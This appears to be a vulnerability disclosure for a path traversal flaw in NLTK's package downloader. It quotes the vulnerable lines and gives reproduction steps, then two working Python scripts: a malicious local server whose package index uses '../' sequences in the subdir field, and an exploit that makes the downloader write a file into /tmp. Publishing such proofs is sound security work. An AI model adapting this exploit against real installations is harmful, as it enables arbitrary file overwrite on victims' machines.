NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

self.filename = os.path.join(subdir, id + ext)

filepath = os.path.join(download_dir, info.filename)

os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)

with open(filepath, "wb") as outfile:

pip install nltk

python3 malicious_server.py

python3 exploit_vulnerability.py

ls -la /tmp/test_file.zip

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()
    
    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")
    
    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)
    
    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()